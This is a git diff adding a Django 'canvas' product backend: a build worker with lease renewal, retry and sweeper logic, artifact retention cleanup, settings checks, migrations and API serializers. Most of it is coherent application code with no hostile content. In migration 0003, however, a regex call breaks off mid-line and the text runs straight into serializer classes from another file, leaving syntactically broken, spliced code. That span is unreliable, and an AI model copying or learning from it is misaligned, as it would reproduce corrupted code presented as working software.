build, + code="source_unreadable", + message="could not load the source project: source storage remained unavailable after retries", + ) + return + + diagnostics = validate_source_project(project) + if has_errors(diagnostics): + _finish_failed(build, diagnostics) + return + + project_files = dict(project["files"]) + project_files.setdefault(project.get("entryHtml", "index.html"), SYNTHETIC_INDEX_HTML) + project = {**project, "files": project_files} + try: + result = run_cloud_builder(project) + if result.get("status") != "ready": + builder_diagnostics = result.get("diagnostics") + _finish_failed(build, builder_diagnostics[:500] if isinstance(builder_diagnostics, list) else []) + return + files, manifest, diagnostics = validate_builder_output(result) + except ( + subprocess.TimeoutExpired, + OSError, + json.JSONDecodeError, + RuntimeError, + ValueError, + SandboxCleanupError, + SandboxExecutionError, + SandboxNotFoundError, + SandboxNotRunningError, + SandboxProvisionError, + SandboxTimeoutError, + ) as error: + logger.warning( + "canvas_build_process_failed", + build_id=str(build.id), + error_type=type(error).__name__, + error=str(error)[:500], + ) + message = "The canvas build service is unavailable." + if settings.DEBUG: + # Local dev: keep the cause in the diagnostic the toolbar/agent + # surfaces — the worker-log warning above is easy to miss, and the + # usual causes (node off PATH, builder deps not installed) are + # actionable. Production stays generic: sandbox stderr is internal. + message = f"{message} {type(error).__name__}: {str(error)[:300]}" + _finish_failed(build, [diagnostic("error", "build_unavailable", message)]) + return + + prefix = artifact_object_prefix(build.team_id, build.canvas_id, build.id) + manifest_assets = {asset["path"]: asset for asset in manifest["assets"]} + uploaded_keys: list[str] = [] + # Renew the lease as the upload runs so a slow object store can't let the + # sweeper reclaim (and re-drive) a healthy in-flight build. The claim sets + # lease_expires_at = claimed_at + BUILD_LEASE_DURATION; renew in increments + # per file, keyed off wall-clock so writes stay cheap on small builds. + lease_renew_after = BUILD_LEASE_DURATION / 2 + last_lease_touch = timezone.now() + try: + for artifact in files: + now = timezone.now() + if now - last_lease_touch >= lease_renew_after: + CanvasBuild.objects.for_team(build.team_id).filter(id=build.id).update( + lease_expires_at=now + BUILD_LEASE_DURATION + ) + last_lease_touch = now + content_type = _artifact_content_type(artifact["path"]) + key = f"{prefix}/{artifact['path']}" + object_storage.write( + key, + artifact["content"].encode("utf-8"), + extras={"ContentType": content_type, "CacheControl": "private, max-age=31536000, immutable"}, + ) + uploaded_keys.append(key) + manifest_assets[artifact["path"]]["contentType"] = content_type + except object_storage.ObjectStorageError: + if uploaded_keys: + try: + object_storage.delete_objects(uploaded_keys) + except object_storage.ObjectStorageError: + logger.warning("canvas_artifact_cleanup_failed", build_id=str(build.id)) + _requeue_or_fail(build, code="artifact_upload_failed", message="Artifact storage is unavailable.") + return + integrity = hashlib.sha256(json.dumps(manifest, sort_keys=True, separators=(",", ":")).encode("utf-8")).hexdigest() + + if not _finalize_ready( + build, + prefix=prefix, + integrity=integrity, + manifest=manifest, + diagnostics=diagnostics, + ): + object_storage.delete_objects(uploaded_keys) + CANVAS_BUILD_OUTCOMES.labels(outcome="failed", code="superseded_during_build").inc() + return + CANVAS_BUILD_OUTCOMES.labels(outcome="ready", code="").inc() + CANVAS_BUILD_DURATION_SECONDS.labels(outcome="ready").observe( + max(0, ((build.finished_at or timezone.now()) - build.created_at).total_seconds()) + ) + CANVAS_BUILD_ARTIFACT_BYTES.observe(sum(asset["sizeBytes"] for asset in manifest["assets"])) + + +def _finalize_ready( + stale_build: CanvasBuild, + *, + prefix: str, + integrity: str, + manifest: dict[str, Any], + diagnostics: list[dict[str, Any]], +) -> bool: + """Mark a build READY and advance the canvas's live pointer, or bail. + + The claim lock from the first transaction is released for the whole + build/upload phase, so this re-claims the row and re-checks the build is + still in flight before writing — otherwise a cancel (or the sweeper failing + the build) that landed mid-build would be clobbered back to READY by the + stale in-memory row. Returns False when the build was finalized by someone + else first. The live pointer only advances while this build's source + version is still the canvas's head. + """ + with transaction.atomic(): + # Lock canvas before build (same order as publish/revert) to avoid a + # lock-ordering deadlock with a concurrent publish of the same canvas. + canvas = Canvas.objects.for_team(stale_build.team_id).select_for_update().get(pk=stale_build.canvas_id) + build = CanvasBuild.objects.for_team(stale_build.team_id).select_for_update().filter(id=stale_build.id).first() + if build is None or build.status != CanvasBuild.STATUS_BUILDING: + return False + build.status = CanvasBuild.STATUS_READY + build.artifact_object_prefix = prefix + build.integrity = integrity + build.manifest = manifest + build.diagnostics = diagnostics + build.finished_at = timezone.now() + build.lease_expires_at = None + build.save( + update_fields=[ + "status", + "artifact_object_prefix", + "integrity", + "manifest", + "diagnostics", + "finished_at", + "lease_expires_at", + ] + ) + if canvas.current_source_version_id == build.source_version_id: + canvas.published_build = build + canvas.save(update_fields=["published_build", "updated_at"]) + # Mirror the outcome onto the caller's object for the duration metric. + stale_build.status = build.status + stale_build.finished_at = build.finished_at + return True + + +def _artifact_content_type(path: str) -> str: + if path.endswith(".html"): + return "text/html; charset=utf-8" + if path.endswith(".js"): + return "text/javascript; charset=utf-8" + if path.endswith(".css"): + return "text/css; charset=utf-8" + if path.endswith(".json"): + return "application/json; charset=utf-8" + return "application/octet-stream" + + +def _requeue_or_fail(build: CanvasBuild, *, code: str, message: str) -> None: + """Recover from a storage outage mid-build. + + While attempts remain, flips the row back to QUEUED and re-raises the + ObjectStorageError being handled (the caller must invoke this from its + except block); once attempts are exhausted, fails the build with one + error diagnostic. + """ + if build.attempt_count < MAX_BUILD_ATTEMPTS: + CanvasBuild.objects.for_team(build.team_id).filter(id=build.id).update( + status=CanvasBuild.STATUS_QUEUED, lease_expires_at=None + ) + raise # noqa: PLE0704 — re-raises the caller's in-flight ObjectStorageError + _finish_failed(build, [diagnostic("error", code, message)]) + + +def _finish_failed(stale_build: CanvasBuild, diagnostics: list[dict[str, Any]]) -> None: + with transaction.atomic(): + build = ( + CanvasBuild.objects.for_team(stale_build.team_id) + .select_for_update() + .filter(id=stale_build.id, status__in=CanvasBuild.ACTIVE_STATUSES) + .first() + ) + if build is None: + return + build.status = CanvasBuild.STATUS_FAILED + build.diagnostics = diagnostics + build.finished_at = timezone.now() + build.lease_expires_at = None + build.save(update_fields=["status", "diagnostics", "finished_at", "lease_expires_at"]) + logger.warning( + "canvas_build_failed", + build_id=str(build.id), + codes=[diagnostic.get("code") for diagnostic in diagnostics][:20], + ) + code = str(diagnostics[0].get("code", "unknown")) if diagnostics else "unknown" + CANVAS_BUILD_OUTCOMES.labels(outcome="failed", code=code).inc() + CANVAS_BUILD_DURATION_SECONDS.labels(outcome="failed").observe( + max(0, (build.finished_at - build.created_at).total_seconds()) + ) + + +def sweep_canvas_builds() -> dict[str, int]: + """Recover builds stuck in flight; returns per-outcome counts. + + Two ways a build wedges without ever reaching a terminal state, each + permanently occupying one of the team's capacity slots: + + - the worker died mid-build (OOM, deploy) — its lease lapses and nothing + re-drives the row; + - the broker dropped the enqueue message — the row stays ``queued`` and no + worker ever claims it. + + Lease-lapsed builds are requeued while attempts remain, else failed. + Unclaimed queued builds are re-delivered, and failed outright once + they're old enough that the queue clearly isn't coming back for them. + """ + now = timezone.now() + counts = {"requeued": 0, "failed": 0, "redelivered": 0} + + with transaction.atomic(): + expired = ( + CanvasBuild.objects.unscoped() + .select_for_update(skip_locked=True) + .filter(status=CanvasBuild.STATUS_BUILDING, lease_expires_at__lt=now)[:200] + ) + for build in expired: + if build.attempt_count >= MAX_BUILD_ATTEMPTS: + _finish_failed( + build, + [ + diagnostic( + "error", + "build_lease_expired", + "The build worker stopped responding and the build ran out of attempts.", + ) + ], + ) + counts["failed"] += 1 + else: + build.status = CanvasBuild.STATUS_QUEUED + build.lease_expires_at = None + build.save(update_fields=["status", "lease_expires_at"]) + transaction.on_commit(partial(_enqueue_build, build)) + counts["requeued"] += 1 + + with transaction.atomic(): + # Staleness is measured off enqueued_at (when the build was last handed + # to the queue), not created_at: a retried build is old but freshly + # enqueued, and created_at would make the sweeper re-deliver it forever. + stale_queued = ( + CanvasBuild.objects.unscoped() + .select_for_update(skip_locked=True) + .filter(status=CanvasBuild.STATUS_QUEUED, enqueued_at__lt=now - STALE_QUEUED_REDELIVERY_AFTER)[:200] + ) + for build in stale_queued: + if build.enqueued_at < now - STALE_QUEUED_FAILURE_AFTER: + _finish_failed( + build, + [diagnostic("error", "build_stuck", "The build was never picked up by a worker.")], + ) + counts["failed"] += 1 + else: + # Re-delivery is idempotent: the worker claims rows under a + # row lock and no-ops on anything already claimed or finished. + transaction.on_commit(partial(_enqueue_build, build)) + counts["redelivered"] += 1 + + for outcome, count in counts.items(): + if count: + CANVAS_BUILD_SWEEP_OUTCOMES.labels(outcome=outcome).inc(count) + CANVAS_BUILD_ACTIVE.set(CanvasBuild.objects.unscoped().filter(status__in=CanvasBuild.ACTIVE_STATUSES).count()) + return counts + + +def cleanup_canvas_builds() -> int: + """Apply the artifact retention policy; returns the number of builds pruned. + + Keeps, per canvas: the active (published) build, the most recent other + successful build (instant rollback), and every pinned build. Other ready + builds lose their artifacts after 30 days (they remain rebuildable from + the retained source); failed builds lose theirs after 24 hours. Source + versions are never pruned — history, undo, and rebuilds depend on them. + """ + now = timezone.now() + pruned = 0 + pending_keys: list[str] = [] + pending_build_ids: list[UUID] = [] + + def flush() -> None: + # Clear prefixes only after their batch's delete succeeds — a storage + # failure must leave the rows pointing at their (surviving) artifacts. + nonlocal pruned + if pending_keys: + object_storage.delete_objects(pending_keys) + if pending_build_ids: + # nosemgrep: idor-lookup-without-team (cross-team retention sweep; ids collected from DB rows above, no user input) + CanvasBuild.objects.unscoped().filter(id__in=pending_build_ids).update(artifact_object_prefix=None) + pruned += len(pending_build_ids) + pending_keys.clear() + pending_build_ids.clear() + + stale = ( + CanvasBuild.objects.unscoped() + .filter(pinned=False, artifact_object_prefix__isnull=False) + .filter( + Q(status=CanvasBuild.STATUS_FAILED, finished_at__lt=now - FAILED_BUILD_RETENTION) + | Q(status=CanvasBuild.STATUS_READY, finished_at__lt=now - SUCCESSFUL_BUILD_RETENTION) + ) + .select_related("canvas") + .order_by("canvas_id", "-created_at") + ) + protected: dict[str, set[str]] = {} + for build in stale.iterator(chunk_size=500): + canvas_key = str(build.canvas_id) + if canvas_key not in protected: + keep = {str(build.canvas.published_build_id) if build.canvas.published_build_id else None} + rollback = ( + CanvasBuild.objects.unscoped() + .filter( + canvas_id=build.canvas_id, + status=CanvasBuild.STATUS_READY, + artifact_object_prefix__isnull=False, + ) + .exclude(id__in=[identifier for identifier in keep if identifier]) + .order_by("-created_at") + .values_list("id", flat=True) + .first() + ) + keep.add(str(rollback) if rollback else None) + protected[canvas_key] = {identifier for identifier in keep if identifier} + if str(build.id) in protected[canvas_key]: + continue + + assets = (build.manifest or {}).get("assets", []) + pending_keys.extend(f"{build.artifact_object_prefix}/{asset['path']}" for asset in assets) + pending_build_ids.append(build.id) + if len(pending_keys) >= 1000: + flush() + flush() + return pruned diff --git a/products/canvas/backend/checks.py b/products/canvas/backend/checks.py new file mode 100644 index 000000000000..13d3ae105fb7 --- /dev/null +++ b/products/canvas/backend/checks.py @@ -0,0 +1,52 @@ +"""Boot-time validation of the canvas artifact delivery configuration. + +A half-configured artifact origin used to fail silently: every build would +succeed and then serve ``artifact_url: null``. These system checks make a +misconfiguration fail the deploy instead. An entirely unset configuration is +legal — it means artifact delivery is off (DEBUG/TEST fall back to SITE_URL). +""" + +from typing import Any + +from django.conf import settings +from django.core.checks import Error, register + + +@register("canvas") +def check_artifact_delivery_settings(app_configs: Any, **kwargs: Any) -> list[Error]: + if settings.DEBUG or settings.TEST: + return [] + origin = settings.CANVAS_ARTIFACT_ORIGIN + keys = settings.CANVAS_ARTIFACT_SIGNING_KEYS + if not origin and not keys: + return [] + + from products.canvas.backend.artifacts import _configured_artifact_host # noqa: PLC0415 + + errors: list[Error] = [] + if not origin or not keys: + errors.append( + Error( + "CANVAS_ARTIFACT_ORIGIN and CANVAS_ARTIFACT_SIGNING_KEYS must be set together — " + "half-configured artifact delivery serves no artifacts.", + id="canvas.E001", + ) + ) + if origin and _configured_artifact_host() is None: + errors.append( + Error( + f"CANVAS_ARTIFACT_ORIGIN ({origin!r}) must be a bare https origin with no path, " + "query, fragment, or credentials.", + id="canvas.E002", + ) + ) + invalid_key_positions = [str(index + 1) for index, key in enumerate(keys) if len(key) < 32] + if invalid_key_positions: + errors.append( + Error( + "Every CANVAS_ARTIFACT_SIGNING_KEY must be at least 32 characters; invalid position(s): " + + ", ".join(invalid_key_positions), + id="canvas.E003", + ) + ) + return errors diff --git a/products/canvas/backend/contract.py b/products/canvas/backend/contract.py new file mode 100644 index 000000000000..7a64324957d4 --- /dev/null +++ b/products/canvas/backend/contract.py @@ -0,0 +1,43 @@ +"""The canvas platform contract, loaded from the builder package's manifest. + +manifest.json is the single source of truth shared by the Node builder +(build.mjs), this Python validator/build service, and the artifact origin's +CSP. The desktop app asserts its own copy against the same file in a contract +test, so a drift in pinned dependencies or limits fails loudly instead of +diverging silently. +""" + +import json +from functools import lru_cache +from pathlib import Path +from typing import Any + +from django.conf import settings + +CANVAS_BUILDER_DIR = Path(settings.CANVAS_BUILDER_DIR) + + +@lru_cache(maxsize=1) +def platform_contract() -> dict[str, Any]: + return json.loads((CANVAS_BUILDER_DIR / "manifest.json").read_text()) + + +def platform_dependencies() -> dict[str, str]: + """Pinned name → exact version of every platform-supported dependency.""" + return {name: entry["version"] for name, entry in platform_contract()["dependencies"].items()} + + +def allowed_import_specifiers() -> frozenset[str]: + return frozenset(platform_contract()["allowedImportSpecifiers"]) + + +def artifact_csp() -> str: + return platform_contract()["csp"] + + +def contract_limits() -> dict[str, int]: + return platform_contract()["limits"] + + +def canvas_sdk_version() -> str: + return platform_contract()["canvasSdkVersion"] diff --git a/products/canvas/backend/migrations/0001_initial.py b/products/canvas/backend/migrations/0001_initial.py new file mode 100644 index 000000000000..ba1c89d98868 --- /dev/null +++ b/products/canvas/backend/migrations/0001_initial.py @@ -0,0 +1,246 @@ +# Generated by Django 5.2.14 on 2026-07-28 16:07 + +import django.utils.timezone +import django.db.models.deletion +from django.conf import settings +from django.db import migrations, models + +import posthog.uuidt + + +class Migration(migrations.Migration): + initial = True + + dependencies = [ + ("posthog", "1265_delete_duckgresserverteam"), + ("tasks", "0073_task_activity"), + migrations.swappable_dependency(settings.AUTH_USER_MODEL), + ] + + operations = [ + migrations.CreateModel( + name="Canvas", + fields=[ + ( + "id", + models.UUIDField( + default=posthog.uuidt.uuid7, + editable=False, + primary_key=True, + serialize=False, + ), + ), + ("name", models.CharField(max_length=400)), + ("template_id", models.CharField(default="freeform", max_length=64)), + ("context", models.TextField(blank=True, default="")), + ("generation_task_id", models.UUIDField(blank=True, null=True)), + ("pinned_at", models.DateTimeField(blank=True, null=True)), + ("is_home", models.BooleanField(default=False)), + ("legacy_code", models.TextField(blank=True, null=True)), + ("created_at", models.DateTimeField(default=django.utils.timezone.now)), + ("updated_at", models.DateTimeField(auto_now=True)), + ("deleted", models.BooleanField(default=False)), + ( + "channel", + models.ForeignKey( + db_constraint=False, + on_delete=django.db.models.deletion.CASCADE, + related_name="canvases", + to="tasks.channel", + ), + ), + ( + "created_by", + models.ForeignKey( + blank=True, + db_constraint=False, + null=True, + on_delete=django.db.models.deletion.SET_NULL, + to=settings.AUTH_USER_MODEL, + ), + ), + ( + "team", + models.ForeignKey( + db_constraint=False, + on_delete=django.db.models.deletion.CASCADE, + to="posthog.team", + ), + ), + ], + options={ + "db_table": "posthog_canvas", + }, + ), + migrations.CreateModel( + name="CanvasBuild", + fields=[ + ( + "id", + models.UUIDField( + default=posthog.uuidt.uuid7, + editable=False, + primary_key=True, + serialize=False, + ), + ), + ("status", models.CharField(default="queued", max_length=16)), + ("artifact_object_prefix", models.TextField(blank=True, null=True)), + ("integrity", models.CharField(blank=True, max_length=64, null=True)), + ("diagnostics", models.JSONField(blank=True, default=list)), + ("manifest", models.JSONField(blank=True, null=True)), + ("pinned", models.BooleanField(default=False)), + ("attempt_count", models.PositiveIntegerField(default=0)), + ("lease_expires_at", models.DateTimeField(blank=True, null=True)), + ("created_at", models.DateTimeField(default=django.utils.timezone.now)), + ("finished_at", models.DateTimeField(blank=True, null=True)), + ( + "canvas", + models.ForeignKey( + on_delete=django.db.models.deletion.CASCADE, + related_name="builds", + to="canvas.canvas", + ), + ), + ( + "team", + models.ForeignKey( + db_constraint=False, + on_delete=django.db.models.deletion.CASCADE, + to="posthog.team", + ), + ), + ], + options={ + "db_table": "posthog_canvas_build", + }, + ), + migrations.AddField( + model_name="canvas", + name="published_build", + field=models.ForeignKey( + blank=True, + null=True, + on_delete=django.db.models.deletion.SET_NULL, + related_name="+", + to="canvas.canvasbuild", + ), + ), + migrations.CreateModel( + name="CanvasSourceVersion", + fields=[ + ( + "id", + models.UUIDField( + default=posthog.uuidt.uuid7, + editable=False, + primary_key=True, + serialize=False, + ), + ), + ("source_hash", models.CharField(max_length=64)), + ("source_object_key", models.TextField()), + ("source_size", models.PositiveIntegerField()), + ("task_id", models.UUIDField(blank=True, null=True)), + ("task_run_id", models.UUIDField(blank=True, null=True)), + ("prompt", models.TextField(blank=True, null=True)), + ("created_at", models.DateTimeField(default=django.utils.timezone.now)), + ( + "canvas", + models.ForeignKey( + on_delete=django.db.models.deletion.CASCADE, + related_name="source_versions", + to="canvas.canvas", + ), + ), + ( + "created_by", + models.ForeignKey( + blank=True, + db_constraint=False, + null=True, + on_delete=django.db.models.deletion.SET_NULL, + to=settings.AUTH_USER_MODEL, + ), + ), + ( + "parent_version", + models.ForeignKey( + blank=True, + null=True, + on_delete=django.db.models.deletion.SET_NULL, + related_name="+", + to="canvas.canvassourceversion", + ), + ), + ( + "team", + models.ForeignKey( + db_constraint=False, + on_delete=django.db.models.deletion.CASCADE, + to="posthog.team", + ), + ), + ], + options={ + "db_table": "posthog_canvas_source_version", + }, + ), + migrations.AddField( + model_name="canvasbuild", + name="source_version", + field=models.ForeignKey( + null=True, + on_delete=django.db.models.deletion.CASCADE, + related_name="builds", + to="canvas.canvassourceversion", + ), + ), + migrations.AddField( + model_name="canvas", + name="current_source_version", + field=models.ForeignKey( + blank=True, + null=True, + on_delete=django.db.models.deletion.SET_NULL, + related_name="+", + to="canvas.canvassourceversion", + ), + ), + migrations.AddIndex( + model_name="canvassourceversion", + index=models.Index(fields=["canvas", "-created_at"], name="canvas_source_version_recency"), + ), + migrations.AddIndex( + model_name="canvasbuild", + index=models.Index(fields=["canvas", "-created_at"], name="canvas_build_recency"), + ), + migrations.AddIndex( + model_name="canvasbuild", + index=models.Index( + condition=models.Q(("status__in", ["queued", "building"])), + fields=["team", "status"], + name="canvas_build_active", + ), + ), + migrations.AddIndex( + model_name="canvasbuild", + index=models.Index( + condition=models.Q(("artifact_object_prefix__isnull", False), ("pinned", False)), + fields=["finished_at"], + name="canvas_build_retention", + ), + ), + migrations.AddIndex( + model_name="canvas", + index=models.Index(fields=["channel", "-created_at"], name="canvas_channel_recency"), + ), + migrations.AddConstraint( + model_name="canvas", + constraint=models.UniqueConstraint( + condition=models.Q(("deleted", False), ("is_home", True)), + fields=("channel",), + name="unique_home_canvas_per_channel", + ), + ), + ] diff --git a/products/canvas/backend/migrations/0002_source_version_required.py b/products/canvas/backend/migrations/0002_source_version_required.py new file mode 100644 index 000000000000..760951f54f84 --- /dev/null +++ b/products/canvas/backend/migrations/0002_source_version_required.py @@ -0,0 +1,18 @@ +import django.db.models.deletion +from django.db import migrations, models + + +class Migration(migrations.Migration): + dependencies = [("canvas", "0001_initial")] + + operations = [ + migrations.AlterField( + model_name="canvasbuild", + name="source_version", + field=models.ForeignKey( + on_delete=django.db.models.deletion.CASCADE, + related_name="builds", + to="canvas.canvassourceversion", + ), + ) + ] diff --git a/products/canvas/backend/migrations/0003_migrate_desktop_tree.py b/products/canvas/backend/migrations/0003_migrate_desktop_tree.py new file mode 100644 index 000000000000..2f5219338486 --- /dev/null +++ b/products/canvas/backend/migrations/0003_migrate_desktop_tree.py @@ -0,0 +1,256 @@ +"""Migrate the desktop file-system tree into first-class channels and canvases. + +The desktop "file system" conflated four things that now have real homes: + +- top-level folders → tasks ``Channel`` rows (resolve-or-create by the same + normalized name the old client bridge used; a folder named "me" maps to its + creator's personal channel); +- ``dashboard`` rows → ``Canvas`` rows, preserving the row UUID so canvas + deep links and loop references keep working (``meta.code`` is carried in + ``legacy_code`` until the next publish creates a real source version); +- folder instructions / context-generation markers → their channel-scoped + equivalents; +- shortcuts → ``ChannelStar`` rows, and ``task`` filings → a ``Task.channel`` + backfill. Physical cleanup is intentionally deferred to a later deployment. + +Loop ``context_target`` payloads are rewritten from ``folder_id`` (a desktop +folder) to ``channel_id``. +""" + +import re +import logging +from collections import Counter, defaultdict +from datetime import UTC, datetime +from typing import Any + +from django.db import migrations + +logger = logging.getLogger(__name__) + + +def _normalize_channel_name(name: str) -> str: + # Mirrors products.tasks.backend.facade.api.normalize_channel_name. + return re.sub(r"\s+", "-", str(name).strip().lower())[:128] + + +def _leaf(path: str) -> str: + segments = [segment for segment in re.split(r"(? str: + segments = re.split(r"(? bool: + return canvas.pinned_at is not None + + +class CanvasCreateSerializer(serializers.Serializer): + """Payload for creating a new, empty canvas in a channel.""" + + name = serializers.CharField( + allow_blank=False, + trim_whitespace=True, + max_length=400, + help_text="Display name for the canvas.", + ) + channel_id = serializers.UUIDField(help_text="Id of the channel the canvas belongs to.") + template_id = serializers.CharField( + required=False, default="freeform", max_length=64, help_text="Canvas template identifier." + ) + is_home = serializers.BooleanField( + required=False, + default=False, + help_text="Create the canvas as the channel's home board (at most one per channel).", + ) + + +class CanvasUpdateSerializer(serializers.Serializer): + """Writable canvas fields: metadata only — source changes go through publish/edit.""" + + name = serializers.CharField( + required=False, + allow_blank=False, + trim_whitespace=True, + max_length=400, + help_text="Updated display name.", + ) + # The field name shadows BaseSerializer.context; the metaclass moves declared fields into + # _declared_fields, so self.context still resolves to the serializer context at runtime. + context = serializers.CharField( # type: ignore[assignment] + required=False, allow_blank=True, trim_whitespace=False, help_text="Updated author context markdown." + ) + pinned = serializers.BooleanField(required=False, help_text="Whether the canvas is pinned in its channel.") + generation_task_id = serializers.UUIDField( + required=False, allow_null=True, help_text="Task currently generating this canvas, or null to clear it." + ) + + +class CanvasSourceAssetSerializer(serializers.Serializer): + encoding = serializers.ChoiceField(choices=["base64"]) + contentType = serializers.ChoiceField( + choices=[ + "image/png", + "image/jpeg", + "image/gif", + "image/webp", + "image/svg+xml", + "font/woff", + "font/woff2", + "application/wasm", + "application/octet-stream", + ] + ) + content = serializers.RegexField( + regex=r"^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$", + max_length=_MAX_ASSET_BASE64_LENGTH, + ) + + +class CanvasPostHogCapabilitiesSerializer(serializers.Serializer): + insights = serializers.ListField(child=serializers.CharField(max_length=128), max_length=100) + inlineQueries = serializers.BooleanField() + captureEvents = serializers.ListField(child=serializers.CharField(max_length=200), max_length=100) + + +class CanvasNetworkCapabilitiesSerializer(serializers.Serializer): + origins = serializers.ListField(child=serializers.URLField(max_length=2048), max_length=20) + + +class CanvasCapabilitiesSerializer(serializers.Serializer): + posthog = CanvasPostHogCapabilitiesSerializer() + network = CanvasNetworkCapabilitiesSerializer() + + +class CanvasSourceProjectSerializer(serializers.Serializer): + """A canvas's multi-file source project — the canonical write format for canvas source.""" + + schemaVersion = serializers.IntegerField( + help_text="Source-project schema version. Currently always 1.", + ) + files = serializers.DictField( + child=serializers.CharField(allow_blank=True, trim_whitespace=False), + help_text="Project files keyed by relative path (forward slashes, no '..').", + ) + assets = serializers.DictField( + child=CanvasSourceAssetSerializer(), + required=False, + default=dict, + help_text="Optional base64-encoded binary assets keyed by safe project-relative paths.", + ) + entryHtml = serializers.CharField( + help_text='The project\'s entry HTML file. Currently always "index.html".', + ) + dependencies = serializers.DictField( + child=serializers.CharField(), + required=False, + default=dict, + help_text=( + "Exact-version dependencies, restricted to the platform-supported set (react, react-dom, " + "@posthog/quill, recharts, lucide-react, dayjs) at their pinned versions." + ), + ) + canvasSdkVersion = serializers.CharField( + required=False, + default=canvas_sdk_version, + help_text="Version of the host-injected `ph` canvas SDK the project targets.", + ) + capabilities = CanvasCapabilitiesSerializer( + required=False, + default=lambda: { + "posthog": {"insights": [], "inlineQueries": False, "captureEvents": []}, + "network": {"origins": []}, + }, + help_text=( + "Bounded capabilities frozen into the built artifact. Declare every insight short id the " + "canvas loads, every event it captures, and inlineQueries when it runs ad-hoc HogQL — the " + "host enforces these at runtime and validation rejects undeclared `ph` calls." + ), + ) + + +class CanvasDiagnosticSerializer(serializers.Serializer): + """One structured validation/build diagnostic for a canvas source project.""" + + severity = serializers.ChoiceField( + choices=["error", "warning"], + help_text="'error' blocks publishing; 'warning' is advisory and does not block.", + ) + code = serializers.CharField( + help_text="Stable machine-readable diagnostic code, e.g. 'import_not_allowed' or 'capability_missing_insight'.", + ) + message = serializers.CharField(help_text="Human-readable description of the problem and how to fix it.") + path = serializers.CharField( + required=False, + help_text="Project-relative path of the file the diagnostic points at, when file-specific.", + ) + line = serializers.IntegerField( + required=False, + help_text="1-based line number within `path`, when the diagnostic points at a specific line.", + ) + + +class CanvasSummarySerializer(serializers.Serializer): + """Identity and version pointers for one canvas.""" + + id = serializers.UUIDField(help_text="The canvas's id.") + name = serializers.CharField(help_text="Display name of the canvas.") + channel_id = serializers.UUIDField(help_text="Id of the channel the canvas belongs to.") + current_version_id = serializers.CharField( + allow_null=True, + source="current_source_version_id", + help_text="Id of the live source version — pass as expected_current_version_id on publish. Null before the first publish.", + ) + published_build_id = serializers.CharField( + allow_null=True, + help_text="Id of the canvas's live (last successful, still-eligible) build. Null until a build completes.", + ) + created_at = serializers.DateTimeField(help_text="When the canvas was created.") + + +class CanvasVersionSerializer(serializers.Serializer): + """One entry of a canvas's source-version history (metadata only — + fetch a version's files via `source?version_id=`).""" + + id = serializers.UUIDField(help_text="The version's id.") + parent_version_id = serializers.UUIDField( + allow_null=True, help_text="The version this one was based on (null for the first publish)." + ) + prompt = serializers.CharField(allow_null=True, help_text="Short description recorded with the publish.") + task_id = serializers.UUIDField(allow_null=True, help_text="Task that published the version, when one did.") + created_by = UserBasicSerializer(read_only=True, allow_null=True) + created_at = serializers.DateTimeField(help_text="When the version was published.") + + +class CanvasSourceResponseSerializer(serializers.Serializer): + """A canvas's source project plus the version pointer edits must be based on.""" + + canvas = CanvasSummarySerializer(help_text="Identity and version pointers for the canvas.") + project = CanvasSourceProjectSerializer( + help_text="The canvas's source project. Pre-relational single-file canvases are presented as a synthetic project." + ) + current_version_id = serializers.CharField( + allow_null=True, + help_text="The live source version this project reflects — pass as expected_current_version_id when publishing an edit. Null before the first publish.", + ) + + +class CanvasValidateRequestSerializer(serializers.Serializer): + """Payload for validating a candidate source project without publishing it.""" + + project = CanvasSourceProjectSerializer(help_text="The candidate source project to validate.") + + +class CanvasValidateResponseSerializer(serializers.Serializer): + """Validation outcome for a candidate source project.""" + + valid = serializers.BooleanField(help_text="True when the project has no error-severity diagnostics.") + diagnostics = CanvasDiagnosticSerializer( + many=True, + help_text="Structured diagnostics; errors block publishing, warnings are advisory.", + ) + + +class CanvasSourcePublishSerializer(serializers.Serializer): + """Payload for publishing a complete canvas source project.""" + + project = CanvasSourceProjectSerializer(help_text="The complete source project to publish.") + prompt = serializers.CharField( + required=False, + allow_blank=True, + trim_whitespace=False, + help_text="Short description of the change, stored on the appended version history entry.", + ) + name = serializers.CharField( + required=False, + allow_blank=False, + trim_whitespace=True, + max_length=400, + help_text="Optional new display name for the canvas.", + ) + expected_current_version_id = serializers.CharField( + required=False, + allow_null=True, + allow_blank=False, + help_text=( + "Optimistic-concurrency guard: the current_version_id the publisher based its edits on " + "(null when it read a canvas with no versions yet). When the canvas has since moved past it " + "the publish is rejected with a 409 version_conflict instead of overwriting the newer head. " + "Omit to publish unguarded." + ), + ) + + +class CanvasSourceEditOperationSerializer(serializers.Serializer): + """One per-file edit: set a file's content, or delete it.""" + + path = serializers.CharField( + help_text='Project-relative path of the file to write or delete (e.g. "src/canvas.tsx").' + ) + content = serializers.CharField( + required=False, + allow_null=True, + allow_blank=True, + trim_whitespace=False, + help_text="The file's complete new content. Null (or omitted) deletes the file.", + ) + + +class CanvasSourceEditSerializer(serializers.Serializer): + """Payload for publishing per-file edits against the canvas's current source.""" + + operations = CanvasSourceEditOperationSerializer( + many=True, + allow_empty=False, + help_text="Edits applied in order to the canvas's current source project.", + ) + prompt = serializers.CharField( + required=False, + allow_blank=True, + trim_whitespace=False, + help_text="Short description of the change, stored on the appended version history entry.", + ) + name = serializers.CharField( + required=False, + allow_blank=False, + trim_whitespace=True, + max_length=400, + help_text="Optional new display name for the canvas.", + ) + expected_current_version_id = serializers.CharField( + allow_null=True, + help_text=( + "Required optimistic-concurrency guard: the current_version_id the edits are based on (null when the " + "canvas has never been published). Diff edits against a moved head are rejected with 409 " + "version_conflict — they cannot be published unguarded." + ), + ) + + +class CanvasSourcePublishResponseSerializer(serializers.Serializer): + """Result of a successful source-project publish.""" + + canvas = CanvasSummarySerializer(help_text="The canvas after the publish, including the new version pointer.") + current_version_id = serializers.CharField(help_text="Id of the source version this publish created.") + diagnostics = CanvasDiagnosticSerializer( + many=True, + help_text="Advisory (warning-severity) diagnostics recorded for the published project.", + ) + + +class CanvasPublishConflictSerializer(serializers.Serializer): + """409 body for a guarded canvas publish based on a stale version.""" + + detail = serializers.CharField(help_text="Human-readable description of the conflict and how to recover.") + code = serializers.CharField(help_text='Always "version_conflict".') + current_version_id = serializers.CharField( + allow_null=True, + help_text="The canvas's live current_version_id at rejection time (null when the canvas has no versions).", + ) + + +class CanvasSourceInvalidSerializer(serializers.Serializer): + """400 body for a publish whose source project failed validation.""" + + detail = serializers.CharField(help_text="Human-readable summary of why the project was rejected.") + code = serializers.CharField(help_text='Always 